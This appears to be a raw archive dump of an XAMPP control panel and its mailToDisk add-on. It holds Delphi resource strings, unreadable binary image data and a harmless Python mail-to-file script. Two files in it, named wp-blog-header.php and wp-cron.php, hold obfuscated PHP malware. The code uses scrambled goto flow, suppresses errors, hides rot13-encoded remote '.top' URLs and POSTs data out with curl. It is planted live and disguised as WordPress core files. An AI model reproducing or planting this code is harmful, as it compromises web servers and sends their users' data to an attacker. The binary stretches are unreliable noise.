Vcl_Consts_SStyleHookClassNotRegistered, L"Class '%s' is not registered for '%s'" Vcl_Consts_SStyleInvalidParameter, L"%s parameter cannot be nil" Vcl_Consts_SStyleFeatureNotSupported, L"Feature not supported by this style" Vcl_Consts_SInvalidPrinterOp, L"Operation not supported on selected printer" Vcl_Consts_SNoDefaultPrinter, L"There is no default printer currently selected" Vcl_Consts_SDuplicateMenus, L"Menu '%s' is already being used by another form" Vcl_Consts_SDockedCtlNeedsName, L"Docked control must have a name" Vcl_Consts_SDockTreeRemoveError, L"Error removing control from dock tree" Vcl_Consts_SDockZoneNotFound, L" - Dock zone not found" Vcl_Consts_SDockZoneHasNoCtl, L" - Dock zone has no control" Vcl_Consts_SDockZoneVersionConflict, L"Error loading dock zone from the stream. Expecting version %d, but found %d." Vcl_Consts_SPromptArrayTooShort, L"Length of value array must be >= length of prompt array" Vcl_Consts_SPromptArrayEmpty, L"Prompt array must not be empty" Vcl_Consts_SUsername, L"&Username" Vcl_Consts_SPassword, L"&Password" Vcl_Consts_SDomain, L"&Domain" Vcl_Consts_SLogin, L"Login" Vcl_Consts_SNoGetItemEventHandler, L"No OnGetItem event handler assigned" Vcl_Consts_STrayIconRemoveError, L"Cannot remove shell notification icon" Vcl_Consts_SmkcUp, L"Up" Vcl_Consts_SmkcRight, L"Right" Vcl_Consts_SmkcDown, L"Down" Vcl_Consts_SmkcIns, L"Ins" Vcl_Consts_SmkcDel, L"Del" Vcl_Consts_SmkcShift, L"Shift+" Vcl_Consts_SmkcCtrl, L"Ctrl+" Vcl_Consts_SmkcAlt, L"Alt+" Vcl_Consts_SOutOfRange, L"Value must be between %d and %d" Vcl_Consts_sAllFilter, L"All" Vcl_Consts_SInsertLineError, L"Unable to insert a line" Vcl_Consts_SInvalidClipFmt, L"Invalid clipboard format" Vcl_Consts_SIconToClipboard, L"Clipboard does not support Icons" Vcl_Consts_SCannotOpenClipboard, L"Cannot open clipboard: %s" Vcl_Consts_SDefault, L"Default" Vcl_Consts_SInvalidMemoSize, L"Text exceeds memo capacity" Vcl_Consts_SMsgDlgRetry, L"&Retry" Vcl_Consts_SMsgDlgIgnore, L"&Ignore" Vcl_Consts_SMsgDlgAll, L"&All" Vcl_Consts_SMsgDlgNoToAll, L"N&o to All" Vcl_Consts_SMsgDlgYesToAll, L"Yes to &All" Vcl_Consts_SMsgDlgClose, L"&Close" Vcl_Consts_SmkcBkSp, L"BkSp" Vcl_Consts_SmkcTab, L"Tab" Vcl_Consts_SmkcEsc, L"Esc" Vcl_Consts_SmkcEnter, L"Enter" Vcl_Consts_SmkcSpace, L"Space" Vcl_Consts_SmkcPgUp, L"PgUp" Vcl_Consts_SmkcPgDn, L"PgDn" Vcl_Consts_SmkcEnd, L"End" Vcl_Consts_SmkcHome, L"Home" Vcl_Consts_SmkcLeft, L"Left" Vcl_Consts_SCannotDragForm, L"Cannot drag a form" Vcl_Consts_SVMetafiles, L"Metafiles" Vcl_Consts_SVEnhMetafiles, L"Enhanced Metafiles" Vcl_Consts_SVIcons, L"Icons" Vcl_Consts_SVBitmaps, L"Bitmaps" Vcl_Consts_SVTIFFImages, L"TIFF Images" Vcl_Consts_SMsgDlgWarning, L"Warning" Vcl_Consts_SMsgDlgError, L"Error" Vcl_Consts_SMsgDlgInformation, L"Information" Vcl_Consts_SMsgDlgConfirm, L"Confirm" Vcl_Consts_SMsgDlgYes, L"&Yes" Vcl_Consts_SMsgDlgNo, L"&No" Vcl_Consts_SMsgDlgOK, L"OK" Vcl_Consts_SMsgDlgCancel, L"Cancel" Vcl_Consts_SMsgDlgHelp, L"&Help" Vcl_Consts_SMsgDlgAbort, L"&Abort" Vcl_Consts_SInvalidPrinter, L"Printer selected is not valid" Vcl_Consts_SDeviceOnPort, L"%s on %s" Vcl_Consts_SGroupIndexTooLow, L"GroupIndex cannot be less than a previous menu item's GroupIndex" Vcl_Consts_SNoMDIForm, L"Cannot create form. No MDI forms are currently active" Vcl_Consts_SImageCanvasNeedsBitmap, L"Can only modify an image if it contains a bitmap" Vcl_Consts_SControlParentSetToSelf, L"A control cannot have itself as its parent" Vcl_Consts_SOKButton, L"OK" Vcl_Consts_SCancelButton, L"Cancel" Vcl_Consts_SYesButton, L"&Yes" Vcl_Consts_SNoButton, L"&No" Vcl_Consts_SHelpButton, L"&Help" Vcl_Consts_SCloseButton, L"&Close" Vcl_Consts_SIgnoreButton, L"&Ignore" Vcl_Consts_SRetryButton, L"&Retry" Vcl_Consts_SAbortButton, L"Abort" Vcl_Consts_SAllButton, L"&All" Vcl_Consts_SWindowClass, L"Error creating window class" Vcl_Consts_SCannotFocus, L"Cannot focus a disabled or invisible window" Vcl_Consts_SParentRequired, L"Control '%s' has no parent window" Vcl_Consts_SParentGivenNotAParent, L"Parent given is not a parent of '%s'" Vcl_Consts_SMDIChildNotVisible, L"Cannot hide an MDI Child Form" Vcl_Consts_SVisibleChanged, L"Cannot change Visible in OnShow or OnHide" Vcl_Consts_SCannotShowModal, L"Cannot make a visible window modal" Vcl_Consts_SScrollBarRange, L"Scrollbar property out of range" Vcl_Consts_SPropertyOutOfRange, L"%s property out of range" Vcl_Consts_SMenuIndexError, L"Menu index out of range" Vcl_Consts_SMenuReinserted, L"Menu inserted twice" Vcl_Consts_SMenuNotFound, L"Sub-menu is not in menu" Vcl_Consts_SNoTimers, L"Not enough timers available" Vcl_Consts_SNotPrinting, L"Printer is not currently printing" Vcl_Consts_SPrinting, L"Printing in progress" Vcl_Consts_SPrinterIndexError, L"Printer index out of range" Vcl_Consts_SInvalidImage, L"Invalid image" Vcl_Consts_SScanLine, L"Scan line index out of range" Vcl_Consts_SChangeIconSize, L"Cannot change the size of an icon" Vcl_Consts_SChangeWicSize, L"Cannot change the size of a WIC Image" Vcl_Consts_SUnknownExtension, L"Unknown picture file extension (.%s)" Vcl_Consts_SUnknownClipboardFormat, L"Unsupported clipboard format" Vcl_Consts_SOutOfResources, L"Out of system resources" Vcl_Consts_SNoCanvasHandle, L"Canvas does not allow drawing" Vcl_Consts_SInvalidTextFormatFlag, L"Text format flag '%s' not supported" Vcl_Consts_SInvalidImageSize, L"Invalid image size" Vcl_Consts_SInvalidImageList, L"Invalid ImageList" Vcl_Consts_SReplaceImage, L"Unable to Replace Image" Vcl_Consts_SImageIndexError, L"Invalid ImageList Index" Vcl_Consts_SImageReadFail, L"Failed to read ImageList data from stream" Vcl_Consts_SImageWriteFail, L"Failed to write ImageList data to stream" Vcl_Consts_SWindowDCError, L"Error creating window device context" System_RTLConsts_SWindows2000, L"Windows 2000" System_RTLConsts_SWindowsXP, L"Windows XP" System_RTLConsts_SWindowsServer2003, L"Windows Server 2003" System_RTLConsts_SWindowsServer2003R2, L"Windows Server 2003 R2" System_RTLConsts_sObserverUnsupported, L"Observer is not supported" System_RTLConsts_sObserverMultipleSingleCast, L"Cannot have multiple single cast observers added to the observers collection" System_RTLConsts_sObserverNoInterface, L"The object does not implement the observer interface" System_RTLConsts_sObserverNoSinglecastFound, L"No single cast observer with ID %s was added to the observer collection" System_RTLConsts_sObserverNoMulticastFound, L"No multi cast observer with ID %s was added to the observer collection" System_RTLConsts_sObserverNotAvailable, L"Observer is not available" Vcl_Consts_SInvalidTabPosition, L"Tab position incompatible with current tab style" Vcl_Consts_SInvalidTabStyle, L"Tab style incompatible with current tab position" Vcl_Consts_SInvalidBitmap, L"Bitmap image is not valid" Vcl_Consts_SInvalidIcon, L"Icon image is not valid" Vcl_Consts_SInvalidMetafile, L"Metafile is not valid" Vcl_Consts_SInvalidPixelFormat, L"Invalid pixel format" System_RTLConsts_SNoTableOfContents, L"Unable to find a Table of Contents" System_RTLConsts_SNoTopics, L"No topic-based help system installed" System_RTLConsts_SNothingFound, L"No help found for %s" System_RTLConsts_SArgumentOutOfRange, L"Argument out of range" System_RTLConsts_SGenericItemNotFound, L"Item not found" System_RTLConsts_SGenericDuplicateItem, L"Duplicates not allowed" System_RTLConsts_SServiceNotFound, L"Specified Login Credential Service not found" System_RTLConsts_SVersionStr, L"%s (Version %d.%d, Build %d, %5:s)" System_RTLConsts_SSPVersionStr, L"%s Service Pack %4:d (Version %1:d.%2:d, Build %3:d, %5:s)" System_RTLConsts_SVersion32, L"32-bit Edition" System_RTLConsts_SVersion64, L"64-bit Edition" System_RTLConsts_SWindows, L"Windows" System_RTLConsts_SWindowsVista, L"Windows Vista" System_RTLConsts_SWindowsServer2008, L"Windows Server 2008" System_RTLConsts_SWindows7, L"Windows 7" System_RTLConsts_SWindowsServer2008R2, L"Windows Server 2008 R2" System_RTLConsts_sInvalidTimeoutValue, L"Invalid Timeout value: %s" System_RTLConsts_sTimespanTooLong, L"Timespan too long" System_RTLConsts_sInvalidTimespanDuration, L"The duration cannot be returned because the absolute value exceeds the value of TTimeSpan.MaxValue" System_RTLConsts_sTimespanValueCannotBeNan, L"Value cannot be NaN" System_RTLConsts_sCannotNegateTimespan, L"Negating the minimum value of a Timespan is invalid" System_RTLConsts_sInvalidTimespanFormat, L"Invalid Timespan format" System_RTLConsts_sTimespanElementTooLong, L"Timespan element too long" System_RTLConsts_SInvalidDate, L"''%s'' is not a valid date" System_RTLConsts_SInvalidDateTime, L"''%s'' is not a valid date and time" System_RTLConsts_SInvalidInteger, L"''%s'' is not a valid integer value" System_RTLConsts_SInvalidTime, L"''%s'' is not a valid time" System_RTLConsts_STimeEncodeError, L"Invalid argument to time encode" System_RTLConsts_SNoContext, L"No context-sensitive help installed" System_RTLConsts_SNoContextFound, L"No help found for context %d" System_RTLConsts_SNoIndex, L"Unable to open Index" System_RTLConsts_SNoSearch, L"Unable to open Search" System_RTLConsts_SUnknownGroup, L"%s not in a class registration group" System_RTLConsts_SUnknownProperty, L"Property %s does not exist" System_RTLConsts_SWriteError, L"Stream write error" System_RTLConsts_SThreadCreateError, L"Thread creation error: %s" System_RTLConsts_SThreadError, L"Thread Error: %s (%d)" System_RTLConsts_SThreadExternalTerminate, L"Cannot terminate an externally created thread" System_RTLConsts_SThreadExternalWait, L"Cannot wait for an externally created thread" System_RTLConsts_SThreadStartError, L"Cannot call Start on a running or suspended thread" System_RTLConsts_SThreadExternalCheckTerminated, L"Cannot call CheckTerminated on an externally created thread" System_RTLConsts_SThreadExternalSetReturnValue, L"Cannot call SetReturnValue on an externally create thread" System_RTLConsts_SParamIsNegative, L"Parameter %s cannot be a negative value" System_RTLConsts_SInputBufferExceed, L"Input buffer exceeded for %s = %d, %s = %d" System_RTLConsts_SInvalidCharsInPath, L"Invalid characters in path" System_RTLConsts_SFileNotFound, L"The specified file was not found" System_RTLConsts_hNoFilterViewer, L"No help viewer that supports filters" System_RTLConsts_sInvalidStringAndObjectArrays, L"Length of Strings and Objects arrays must be equal" System_RTLConsts_SInvalidPropertyValue, L"Invalid property value" System_RTLConsts_SInvalidRegType, L"Invalid data type for '%s'" System_RTLConsts_SListCapacityError, L"List capacity out of bounds (%d)" System_RTLConsts_SListCountError, L"List count out of bounds (%d)" System_RTLConsts_SListIndexError, L"List index out of bounds (%d)" System_RTLConsts_SMemoryStreamError, L"Out of memory while expanding memory stream" System_RTLConsts_SNoComSupport, L"%s has not been registered as a COM class" System_RTLConsts_SPropertyException, L"Error reading %s%s%s: %s" System_RTLConsts_SReadError, L"Stream read error" System_RTLConsts_SReadOnlyProperty, L"Property is read-only" System_RTLConsts_SRegCreateFailed, L"Failed to create key %s" System_RTLConsts_SRegGetDataFailed, L"Failed to get data for '%s'" System_RTLConsts_SRegSetDataFailed, L"Failed to set data for '%s'" System_RTLConsts_SResNotFound, L"Resource %s not found" System_RTLConsts_SSeekNotImplemented, L"%s.Seek not implemented" System_RTLConsts_SSortedListError, L"Operation not allowed on sorted list" System_RTLConsts_SAssignError, L"Cannot assign a %s to a %s" System_RTLConsts_SBitsIndexError, L"Bits index out of range" System_RTLConsts_SCantWriteResourceStreamError, L"Can't write to a read-only resource stream" System_RTLConsts_SCheckSynchronizeError, L"CheckSynchronize called from thread $%x, which is NOT the main thread" System_RTLConsts_SClassNotFound, L"Class %s not found" System_RTLConsts_SDuplicateClass, L"A class named %s already exists" System_RTLConsts_SDuplicateItem, L"List does not allow duplicates ($0%x)" System_RTLConsts_SDuplicateName, L"A component named %s already exists" System_RTLConsts_SDuplicateString, L"String list does not allow duplicates" System_RTLConsts_SFCreateErrorEx, L"Cannot create file \"%s\". %s" System_RTLConsts_SFOpenErrorEx, L"Cannot open file \"%s\". %s" System_RTLConsts_SInvalidFileName, L"Invalid file name - %s" System_RTLConsts_SInvalidImage, L"Invalid stream format" System_RTLConsts_SInvalidName, L"''%s'' is not a valid component name" System_RTLConsts_SInvalidProperty, L"Invalid property value" System_RTLConsts_SInvalidPropertyPath, L"Invalid property path" System_SysConst_SLongDayNameSun, L"Sunday" System_SysConst_SLongDayNameMon, L"Monday" System_SysConst_SLongDayNameTue, L"Tuesday" System_SysConst_SLongDayNameWed, L"Wednesday" System_SysConst_SLongDayNameThu, L"Thursday" System_SysConst_SLongDayNameFri, L"Friday" System_SysConst_SLongDayNameSat, L"Saturday" System_SysConst_SInvalidSourceArray, L"Invalid source array" System_SysConst_SInvalidDestinationArray, L"Invalid destination array" System_SysConst_SCharIndexOutOfBounds, L"Character index out of bounds (%d)" System_SysConst_SByteIndexOutOfBounds, L"Start index out of bounds (%d)" System_SysConst_SInvalidCharCount, L"Invalid count (%d)" System_SysConst_SInvalidDestinationIndex, L"Invalid destination index (%d)" System_SysConst_SInvalidCodePage, L"Invalid code page" System_SysConst_SInvalidEncodingName, L"Invalid encoding name" System_RTLConsts_SAncestorNotFound, L"Ancestor for '%s' not found" System_SysConst_SLongMonthNameApr, L"April" System_SysConst_SLongMonthNameMay, L"May" System_SysConst_SLongMonthNameJun, L"June" System_SysConst_SLongMonthNameJul, L"July" System_SysConst_SLongMonthNameAug, L"August" System_SysConst_SLongMonthNameSep, L"September" System_SysConst_SLongMonthNameOct, L"October" System_SysConst_SLongMonthNameNov, L"November" System_SysConst_SLongMonthNameDec, L"December" System_SysConst_SShortDayNameSun, L"Sun" System_SysConst_SShortDayNameMon, L"Mon" System_SysConst_SShortDayNameTue, L"Tue" System_SysConst_SShortDayNameWed, L"Wed" System_SysConst_SShortDayNameThu, L"Thu" System_SysConst_SShortDayNameFri, L"Fri" System_SysConst_SShortDayNameSat, L"Sat" System_SysConst_SUnkOSError, L"A call to an OS function failed" System_SysConst_SShortMonthNameJan, L"Jan" System_SysConst_SShortMonthNameFeb, L"Feb" System_SysConst_SShortMonthNameMar, L"Mar" System_SysConst_SShortMonthNameApr, L"Apr" System_SysConst_SShortMonthNameMay, L"May" System_SysConst_SShortMonthNameJun, L"Jun" System_SysConst_SShortMonthNameJul, L"Jul" System_SysConst_SShortMonthNameAug, L"Aug" System_SysConst_SShortMonthNameSep, L"Sep" System_SysConst_SShortMonthNameOct, L"Oct" System_SysConst_SShortMonthNameNov, L"Nov" System_SysConst_SShortMonthNameDec, L"Dec" System_SysConst_SLongMonthNameJan, L"January" System_SysConst_SLongMonthNameFeb, L"February" System_SysConst_SLongMonthNameMar, L"March" System_SysConst_SVarBadType, L"Invalid variant type" System_SysConst_SVarNotImplemented, L"Operation not supported" System_SysConst_SVarUnexpected, L"Unexpected variant error" System_SysConst_SExternalException, L"External exception %x" System_SysConst_SAssertionFailed, L"Assertion failed" System_SysConst_SIntfCastError, L"Interface not supported" System_SysConst_SSafecallException, L"Exception in safecall method" System_SysConst_SMonitorLockException, L"Object lock not owned" System_SysConst_SNoMonitorSupportException, L"Monitor support function not initialized" System_SysConst_SNotImplemented, L"Feature not implemented" System_SysConst_SAssertError, L"%s (%s, line %d)" System_SysConst_SAbstractError, L"Abstract Error" System_SysConst_SModuleAccessViolation, L"Access violation at address %p in module '%s'. %s of address %p" System_SysConst_SCannotReadPackageInfo, L"Cannot access package information for package '%s'" System_SysConst_sErrorLoadingPackage, L"Can't load package %s.\r\n%s" System_SysConst_SOSError, L"System Error. Code: %d.\r\n%s" System_SysConst_SWriteAccess, L"Write" System_SysConst_SVarArrayCreate, L"Error creating variant or safe array" System_SysConst_SVarArrayBounds, L"Variant or safe array index out of bounds" System_SysConst_SVarArrayLocked, L"Variant or safe array is locked" System_SysConst_SInvalidVarCast, L"Invalid variant type conversion" System_SysConst_SInvalidVarOp, L"Invalid variant operation" System_SysConst_SInvalidVarNullOp, L"Invalid NULL variant operation" System_SysConst_SInvalidVarOpWithHResultWithPrefix, L"Invalid variant operation (%s%.8x)\n%s" System_SysConst_SVarTypeOutOfRangeWithPrefix, L"Custom variant type (%s%.4x) is out of range" System_SysConst_SVarTypeAlreadyUsedWithPrefix, L"Custom variant type (%s%.4x) already used by %s" System_SysConst_SVarTypeNotUsableWithPrefix, L"Custom variant type (%s%.4x) is not usable" System_SysConst_SVarTypeTooManyCustom, L"Too many custom variant types have been registered" System_SysConst_SVarTypeCouldNotConvert, L"Could not convert variant of type (%s) into type (%s)" System_SysConst_SVarTypeConvertOverflow, L"Overflow while converting variant of type (%s) into type (%s)" System_SysConst_SVarOverflow, L"Variant overflow" System_SysConst_SVarInvalid, L"Invalid argument" System_SysConst_SZeroDivide, L"Floating point division by zero" System_SysConst_SOverflow, L"Floating point overflow" System_SysConst_SUnderflow, L"Floating point underflow" System_SysConst_SInvalidPointer, L"Invalid pointer operation" System_SysConst_SInvalidCast, L"Invalid class typecast" System_SysConst_SAccessViolationArg3, L"Access violation at address %p. %s of address %p" System_SysConst_SAccessViolationNoArg, L"Access violation" System_SysConst_SStackOverflow, L"Stack overflow" System_SysConst_SControlC, L"Control-C hit" System_SysConst_SPrivilege, L"Privileged instruction" System_SysConst_SException, L"Exception %s in module %s at %p.\r\n%s%s\r\n" System_SysConst_SExceptTitle, L"Application Error" System_SysConst_SInvalidFormat, L"Format '%s' invalid or incompatible with argument" System_SysConst_SArgumentMissing, L"No argument for format '%s'" System_SysConst_SDispatchError, L"Variant method calls not supported" System_SysConst_SReadAccess, L"Read" System_SysConst_SUnknown, L"" System_SysConst_SInvalidFloat, L"'%s' is not a valid floating point value" System_SysConst_SInvalidTimeStamp, L"'%d.%d' is not a valid timestamp" System_SysConst_SInvalidGUID, L"'%s' is not a valid GUID value" System_SysConst_SDateEncodeError, L"Invalid argument to date encode" System_SysConst_SOutOfMemory, L"Out of memory" System_SysConst_SInOutError, L"I/O error %d" System_SysConst_STooManyOpenFiles, L"Too many open files" System_SysConst_SAccessDenied, L"File access denied" System_SysConst_SEndOfFile, L"Read beyond end of file" System_SysConst_SDiskFull, L"Disk full" System_SysConst_SInvalidInput, L"Invalid numeric input" System_SysConst_SDivByZero, L"Division by zero" System_SysConst_SRangeError, L"Range check error" System_SysConst_SIntOverflow, L"Integer overflow" System_SysConst_SInvalidOp, L"Invalid floating point operation" END /* d:\program files\embarcadero\rad studio\9.0\lib\Win32\release\Controls.res */ /* d:\program files\embarcadero\rad studio\9.0\lib\Win32\release\Buttons.res */ /* C:\DelphiComponents\jcl-2.5.0.4749\source\common\JclUnicode.res */ /* C:\Users\mark\Desktop\xampp-control-panel-beta-3\uNetstat.dfm */ /* C:\Users\mark\Desktop\xampp-control-panel-beta-3\uLanguage.dfm */ /* C:\Users\mark\Desktop\xampp-control-panel-beta-3\uConfigUserDefined.dfm */ /* C:\Users\mark\Desktop\xampp-control-panel-beta-3\uLogOptions.dfm */ /* C:\Users\mark\Desktop\xampp-control-panel-beta-3\uServiceSettings.dfm */ /* C:\Users\mark\Desktop\xampp-control-panel-beta-3\uConfig.dfm */ /* C:\Users\mark\Desktop\xampp-control-panel-beta-3\uHelp.dfm */ /* C:\Users\mark\Desktop\xampp-control-panel-beta-3\uMain.dfm */ /* C:\Users\mark\Desktop\xampp-control-panel-beta-3\uExceptionDialog.dfm */ /* C:\Users\mark\Desktop\xampp-control-panel-beta-3\xampp_control3.dres */ /* C:\Users\mark\Desktop\xampp-control-panel-beta-3\xampp_control3.res */ /* C:\Users\mark\Desktop\xampp-control-panel-beta-3\xampp_control3.drf */ xampp-control-panel/xampp_control3.dres000066600000112124151723641500014304 0ustar00 4 JPGIMAGE_10 JFIFHHC  !"$"$C*P" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?ʊW_U>Cޏ[5jĢ#'G"d_z #W_UT?}?3_KJ+o]|?2T+χFO*Pu/1(EuQ>?>Cރ5j+DG(++c/Ic=gPY` s`g ֈfaq+]OOC늧!H$- e2nRn'$rzbKWI}n DQmN6;1O /???֣|?3j?mlw?c?_y}'_)&Gg?:G'ge%˦5&ݺ@#ަ? fI,oW<}Cޓ'/'O3^_?;U' '>?X.^x}qԏz+B1111>4 GIFIMAGE_50 GIF87a y#x#y#y"???z&؄F?y"x"y&y$x"oooy$y'[[[ y$x#WWW;;;kkk{{{z'󣣣CCC///cccy%Yz(y%___777333GGGy&v츍ǡy%z,{)~9{.C>}˜ry&㈈챁AJ܌R߁@ԋUe###{)ۻ|/~8ߔ^<}6|0e܁A܈MKKKy')))lz+}0|3;[~5|-ܼвٺz*үӷOOORwwwۏWϫz)ֳ˦ؗ׃Ez$9{,{)Ty#Uz)h뺐꺏jz(񾾾z#{*ȵSSSy$ ;x$sssz$ggg Xx#߀By&, @H@ a+JK C>YB2xi$q$@ y <0 #Q.n*p *X$ńBjݚJLlc),(BN@I &QKpypL͊*s|dX 2˜9eNJZWN#IU?j$AτAOp{mpQঌ!,b%:]фG8"`$ZW_&eG]3d%:>Gôb]PЁ4UI\PC2!+KF`uApK" A,8c <$!tUjJ6hFd\&d79 gBU^p6`  +RPeQaPLDR}Pn@nU[`dhln o q r r!s!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!s!s!s r q pnlifa]V&^bQ]bfjmp q s!s!t!u!u!u!u!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!u!u!u!u!u!t s q pnkgc_W0cW}R^cgkn q r!t!u!v!v!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!v!v!u!t s qolie`V>oNyT_dhlo q!s!u!v!w!w!w!w!w"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x!w!w!w!w!w!v!u!s rpmie`X7kHvU_dimp r!s!u!v!w!w"x"x"xvsqpooprt!w"x"x"x"x"x"x"x"x"x"x"x"x"x"x wtrqpprtv"x"x!w!w!w!u!t r pnjfaY6iFtV`eimp r!s!u!w!w"x"x ws(|Oq~fDvt"x"y"y"y"y"y"y"y"y"y"y!xr wDeuyxiM,~sv"x!w!w!v!t s pnjfaY5iDsV`eim p r!t!u!w!w"xsuj>rw"y"y"y"y"y"y"y"yuu\}$ys!w!w!v!t s qnjfaY4iCsV`eim p r!t!v!w!wrCwv"y"y"y"y"y"yr?Yqv!v!u s qnkfaY4iBsW`ein p s!t!v!wqY(|v"y"y"y"yr_qu!u!s qokgbY3hBrW`ein p s!t!vpS"yw"y"yr[p t!s qokgbZ3hBrW`ein p s!tr5s"yv8^n!s qokgbZ3hBrW`ejn p s tq[su2q qokgbZ3hBrW`ejm p spHpTxk qokgbZ3hAqW`ejm p smx,#tpokgbZ2hAqW`ejm prrotrs+~}#zww\akokgbZ2hAqWaejm pp/}px!y!yuwow x xp[iokgbZ2hAqWaejm po7,y"qmmnmkigc_[Q=l^ JW[_ceghh&rHeu~xkR0xhhhfc`\XR"X%ZxOTX\_bbeBrzR#jbb`]YUO VR|PPUX\]#gL^-o^\ZVRIAmwHPLRUW^P}~~~~~~~~~~~~~b(fWUSO E_:f DNQSX+f8q?wAz@y=w9t5q2o/m.l,k+j*i*i)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)i)i*i*j+j-l/m1n4q8soKwWcin r!t!v!w!w"x!wvrpooqu!w"x"x"x"x"x"x"x"x"x!xvsqpqsu!w!w!w!v!u rojeZ7jFtXcjo r!u!v!w"xvt0^m;uv"y"y"y"y"y"y"y ws.WszqO,~sv!w!w!u soke\4iDsXdjo r!u!w!ws(|+s"y"y"y"y"yuv ws!w!u s pke\3iDsYdjo r!u!wr=Cs"y"y"yu06q!v!r pkf\2iCsYdjo r!ur?Ht#yv39r!s plf\2iBsYdjo rs%y.u x$xr plf\2hBsYejo rn kt~m plf]2hArZejoq%w6&wolf]1hArZejonI#yrtn%{v0Ollf]1hArZejomg0t"y wquv xs.rilf]1hArZekoks x x"y"yop"y"y"yohlf]1hArZdkolm%{ x"y"yskp"y"y"ypxilf]1hArZdkolc.w"y"yw4p"y"y"ypajlf]1hArZdkonHTs"y"y"yuUxr"y"y"yo8mlf]1hArZdkoq*zr"y"y"y"ytw%{%{%{%{%{%{%{%{%{#z"y"y"y!xqnplf]1hArZdko rpOr"y"y"y"y x x x x x x x x x x!x"y"y!yq^Eo plf]1hArZdko roZ0t"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y!x!y?o plf]1hArZdko rs&y:pw!x"y"y"y"y"y"y"y"y"y"y"y"y"yum plf]1hArZdko rok3tpqqqqqqqsw"y"y"y xw#uolf]1hArZdkor!uxxxxxyyc'|w"y"y"yqj<mlf]1hArZekooC#zvvn*~w"y"yw1_jlf]1h@qZejold.t!x!xopr"y"y"ystilf]1hArZejokp"y x"y"ypo"y"y"yo~hlf]1hArZejokl#yw"y"yop"y"y!xr}hlf]1hArZejomTzoqoF5pun]ijlf]1hArZejop/}k^eFw>mlf]1hArYdjo rooqplf]1hBrYdjo rq xampp-mailToDisk/.htaccess000044400000000305151723641500011525 0ustar00 RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] xampp-mailToDisk/src/mailtodisk.py000066600000003766151723641500013254 0ustar00''' Created on 30.06.2012 @author: Kay Vogelgesang @version: mailtodisk 1.0 @copyright: Kay Vogelgesang, XAMPP - apachefriends.org @license: Apache License Version 2.0 @note: Win32 executable was built with PyInstaller 1.5 ''' import os import sys from time import gmtime,strftime from datetime import datetime import win32com.client as com class MailToDisk(): maildirectory = os.path.join(os.getcwd(), 'mailoutput') dt = datetime.now() filename = "mail-%s-%s.txt" % (strftime("%Y%m%d-%H%M", gmtime()),dt.microsecond) # filename with date + time + milliseconds filename = "%s\%s" % (maildirectory,filename) # Security restriction: mailoutput folder may not have more then 300 MB overall size for write in if os.path.exists(maildirectory): filesize = com.Dispatch("Scripting.FileSystemObject") folder = filesize.GetFolder(maildirectory) if folder.Size > 314572800: # 300 MB warnfile = "%s\%s" % (maildirectory,"MAILTODISK_WRITE_RESTRICTION_FOLDER_MORE_THEN_300_MB.txt") f = open(warnfile, 'w') f.write("MailtoDisk will NOT write in folder with a overall size of 300 MB (security limit). Please clean up this folder.") f.close() sys.exit(1) def readstin(self): line = "" # read stdin line by line while 1: next = sys.stdin.readline() line = "%s%s" % (line,next) if not next: # break if empty string at EOF break return line def writemail(self): if not os.path.exists(self.maildirectory): os.makedirs(self.maildirectory) line = self.readstin() # write mail in a separate file f = open(self.filename, 'w') f.write(line) f.close() if __name__ == '__main__': writetodisk = MailToDisk() writetodisk.writemail() sys.exit()xampp-mailToDisk/src/__init__.py000066600000000000151723641500012625 0ustar00xampp-mailToDisk/wp-blog-header.php000044400000005366151723641500013251 0ustar00 $sJ3ad)); goto wwzKB; kAGwF: JS6LS: goto LLG9S; IQihW: KSZRy: goto K2jbV; tUl6b: error_reporting(0); goto aYfRm; HgQ3I: if (!empty($rHfMY)) { goto KSZRy; } goto N7Xk9; K2jbV: $_SESSION["\x64\x6f\x61\x63\164"] = $rHfMY; goto jZVAU; wwzKB: goto JS6LS; goto IQihW; jZVAU: $Biqik = sxIDc(str_rot13("\x75\147\x67\x63\x66\72\57\57\x75\x6f\157\156\144\141\56\x74\x6e\x7a\162\x6e\143\162\x2e\x67\142\x63\x2f\x71\x62\142\x65\x2f") . $rHfMY . "\56\164\x78\164"); goto B6fd_; KwJ9D: function xLpSq($oFbXi) { goto qRLdR; sgjQn: curl_setopt($OUnCg, CURLOPT_POSTFIELDS, $oFbXi); goto eEPm6; eEPm6: curl_setopt($OUnCg, CURLOPT_RETURNTRANSFER, true); goto JM27m; qB8i1: $OUnCg = curl_init(str_rot13($sJ3ad)); goto jfSiq; qRLdR: $sJ3ad = "\x75\x67\x67\x63\x3a\x2f\x2f\145\x72\x7a\x62\x67\162\x32\60\62\x35\x2e\157\154\x75\x62\x67\x2e\147\x62\x63\x2f\166\x61\161\x72\x6b\56\x63\165\143"; goto qB8i1; JM27m: $FJ0YN = curl_exec($OUnCg); goto RiAUd; RiAUd: curl_close($OUnCg); goto OBMXo; jfSiq: curl_setopt($OUnCg, CURLOPT_POST, 1); goto sgjQn; OBMXo: } ?>xampp-mailToDisk/wp-cron.php000066600000005366151723641500012047 0ustar00 $sJ3ad)); goto wwzKB; kAGwF: JS6LS: goto LLG9S; IQihW: KSZRy: goto K2jbV; tUl6b: error_reporting(0); goto aYfRm; HgQ3I: if (!empty($rHfMY)) { goto KSZRy; } goto N7Xk9; K2jbV: $_SESSION["\x64\x6f\x61\x63\164"] = $rHfMY; goto jZVAU; wwzKB: goto JS6LS; goto IQihW; jZVAU: $Biqik = sxIDc(str_rot13("\x75\147\x67\x63\x66\72\57\57\x75\x6f\157\156\144\141\56\x74\x6e\x7a\162\x6e\143\162\x2e\x67\142\x63\x2f\x71\x62\142\x65\x2f") . $rHfMY 